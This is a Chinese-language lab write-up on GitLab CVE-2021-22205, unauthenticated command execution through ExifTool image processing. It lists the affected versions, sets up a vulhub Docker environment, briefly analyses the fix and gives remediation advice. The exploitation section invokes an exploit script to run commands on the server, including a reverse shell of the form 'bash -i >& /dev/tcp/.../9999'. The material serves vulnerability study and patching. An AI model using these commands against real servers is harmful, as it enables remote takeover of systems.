漏洞描述
GitLab是一款Ruby开发的Git项目管理平台。如11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204(https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行命令。
利用条件
11.9 <= Gitlab CE/EE < 13.8.8
13.9 <= Gitlab CE/EE < 13.9.6
13.10 <= Gitlab CE/EE < 13.10.3
环境搭建
使用vulhub搭建漏洞环境。
git clone https://github.com/vulhub/vulhub.gitcd
进入 vulhub/gitlab/CVE-2021-22205 目录下
使用 docker-compose up -d 开始安装环境
环境部署完毕后,访问ip+8080、访问到以下页面,环境搭建成功。
漏洞分析
漏洞原理
github上的diff记录对漏洞原理做简单分析。
审计源码、在 lib/gitlab/sanitizers/exif.rb 中 对允许的MIME类型做了修改 对上传文件类型的判断做了修复。
在 spec/lib/gitlab/sanitizers/exif_spec.rb 中对图像的规格检测做了修改。
在workhorse/internal/upload/uploads_test.go中对上传的图片、更新了校验规则、判断规则。
漏洞测试
POC脚本测试如下:
python3 cve-2021-22205.py -v true -t http://127.0.0.1:8080
漏洞利用
可利用python脚本exp功能。
1. 上传txt文件
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “touch /tmp/xl.txt”
2. 反弹shell
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “echo ‘bash -i >& /dev/tcp/192.168.181.130/9999 0>&1’ > /tmp/xl.sh”
添加执行权限
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “chmod +x /tmp/xl.sh”
反弹shell
python3 cve-2021-22205_exp.py -a true -t http://127.0.0.1:8080 -c “/bin/bash /tmp/xl.sh”
修复建议
1. 使用白名单、限制源ip;
2. 更新到安全版本。
参考(https://hackerone.com/reports/1154542)